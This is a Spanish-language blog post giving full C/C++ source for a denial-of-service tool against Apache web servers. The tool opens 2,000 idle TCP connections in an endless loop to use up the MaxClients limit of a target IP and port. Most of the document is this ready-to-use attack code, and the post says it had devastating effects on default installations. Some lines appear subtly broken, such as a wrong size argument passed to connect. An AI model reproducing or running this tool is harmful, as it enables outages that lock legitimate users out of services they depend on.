Desde tiempos remotos Apache ha sido víctima de múltiples ataques de denegación de servicio usando una infinidad de técnicas. Hoy vamos a explicar como construir un pequeño código en lenguaje de programación C que será capaz de dejar fuera de servicio a más del 95% de los servidores Apache con configuración por defecto.

Nuestro código consistirá en conectar 2.000 sockets al servidor Apache, cuyo puerto por defecto normalmente es el 80. Esto puede sonar típico, tal vez muy clásico, conectar y desconectar sockets ¿Nada nuevo, verdad? Bien, el truco consiste en no desconectar nunca los sockets, Apache dejará abierta la conexión esperando a recibir cabeceras HTTP, a esto debemos sumarle que por defecto, Apache limita las conexiones simultáneas a un valor muy bajo en sus instalaciones por defecto, la directiva más importante que va a interferir en nuestro ataque será MaxClients.

En la documentación oficial podemos encontrar la siguiente información:

“La directiva MaxClients especifica el límite de peticiones simultáneas que serán atendidas. Cualquier intento de conexión por encima del límite MaxClients se pondrá en cola, hasta llegar a un límite basado en el valor de la directiva ListenBacklog. Una vez que un proceso hijo termina de atender una petición y queda libre, se atenderá una conexión en cola.”

Y es precisamente esto lo que aprovecharemos, a continuación os mostramos el código que hemos realizado para hacer las pruebas.


CÓDIGO FUENTE

#include <iostream>
#include <winsock2.h>
#include <windows.h>

#define VERS "0.3.1"

using namespace std;

WSADATA wsa;
struct hostent *hoste;
char ComputerName[100];

void TcpAttack(char * host, u_short port)
{
	SOCKET sock[2000];
	struct sockaddr_in local[2000];
	for(int i = 0; i<2000; i++)
	{
		sock[i]=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
		local[i].sin_family = AF_INET;
		local[i].sin_addr.s_addr = ((struct in_addr *)(hoste->h_addr))->s_addr;
		local[i].sin_port = htons(port);
		
		if ( connect(sock[i], (struct sockaddr *)&local[i], sizeof(local) ) == 0 )
			cout << ".";
		else
			cout << endl << "[+] Congrats - can't connect to server, check manually" << endl;
	}

	for(int i = 0; i<2000; i++)
		closesocket(sock[i]);

}

int main(int argc, char *argv[])
{

	WSAStartup(MAKEWORD(2,0),&wsa);
	cout << endl << "Generic TCP " VERS << endl << endl;
	cout << "by <securitynull.net>" << endl << endl;

	if ( argc < 2 )
	{
		cout << "Usage: " << argv[0] << ".exe -h <ip> -p <port>" << endl << endl;
		exit(-1);
	}
	
	char * host = NULL;
	u_short port;
	for(int i = 0; i < argc; i++)
	{
		if( ! strcmp(argv[i], "-h") != 0 )
			host = argv[i+1];
		else if( ! strcmp(argv[i], "-p") != 0 )
			port = atoi(argv[i+1]);
	}
	
	hoste = gethostbyname(host);
	cout << "[+] Starting attack to " << host << ":" << port << endl;
	
	while(1)
	{
		TcpAttack(host, port);
		cout << ".";
		Sleep(2000);
	}

	return 1;
}

Se puede observar, este código comienza a conectar sockets TCP hacia el servidor víctima, dejando la conexión abierta, hasta que simplemente este deje de responder, lo cual probablemente será causado por 2 de las siguientes consecuencias:

  • El límite de conexiones abiertas configurado en el servidor ha llegado a su límite.
  • Uso excesivo de recursos.

Hemos probado en diferentes escenarios con instalaciones de Apache por defecto y en todas el código ha tenido efectos desbastadores sobre el servidor Apache, impidiendo que los usuarios legítimos puedan conectarse y enviar peticiones.

ataque-dos-apache